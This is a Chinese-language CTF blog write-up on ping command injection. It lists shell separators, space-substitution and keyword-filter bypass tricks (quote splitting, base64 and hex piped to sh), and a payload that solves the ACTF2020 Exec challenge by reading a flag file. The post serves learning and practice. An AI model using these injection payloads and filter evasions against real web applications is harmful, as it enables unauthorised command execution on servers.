ping

  1. ctf Exec ping命令注入
    1. 绕过
    2. 无回显的情况
    3. 例题
      1. [ACTF2020 新生赛]Exec

ctf Exec ping命令注入

看到ping命令就可以利用截断来执行新的命令。
首先测试所有的截断符号:

1
2
3
4
5
6
7
8
9
1、|(就是按位或),直接执行|后面的语句

2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

3、&(就是按位与),&前面和后面命令都要执行,无论前面真假

4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

5、; 前后都执行,无论前面真假,同&,(linux也有)

例如127.0.0.1 | ls

绕过

  1. 代替空格的一些字符:

    1
    2
    3
    4
    5
    <
    ${IFS}
    $IFS$9
    %09
    %0a
  2. 关键字绕过

    1
    2
    3
    4
    5
    6
    7
    8
    wh\o\ami    //反斜线绕过
    who"a"mi //双引号绕过
    whoa'm'i //单引号绕过
    whoam``i //反引号绕过
    echo d2hvYW1p|base64 -d|sh //base64绕过,其中d2hvYW1p是whoami的base64编码
    echo d2hvYW1p|base64 -d|bash//base64绕过,其中d2hvYW1p是whoami的base64编码
    `echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令
    echo 77686F616D69 | xxd -r -p | bash //hex绕过,其中77686F616D69是whoami的hex编码
  3. 内联执行:内联,就是将反引号内命令的输出作为输入执行

    如:

    1
    2
    3
    >ls
    flag.php
    index.php
    1
    2
    cat `ls`
    即为 cat flag.php index.php
  1. 无回显的情况

CTF中ping文件执行漏洞无回显反弹拿flag

例题

[ACTF2020 新生赛]Exec

打开题目如下:

image-20200924124116195

输入127.0.0.1测试:

使用管道符|发现没有被过滤:

image-20200924124512237

继续ls上级目录:

image-20200924130046533

一直ls到根目录,发现flag:

image-20200924130238697

payload:127.0.0.1 |cat ../../../flag

文章标题:ping

本文作者:Kyle

发布时间:2020-09-24, 12:34:11

最后更新:2020-09-24, 15:07:27

原始链接:https://silver2835.github.io/2020/09/24/ping/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录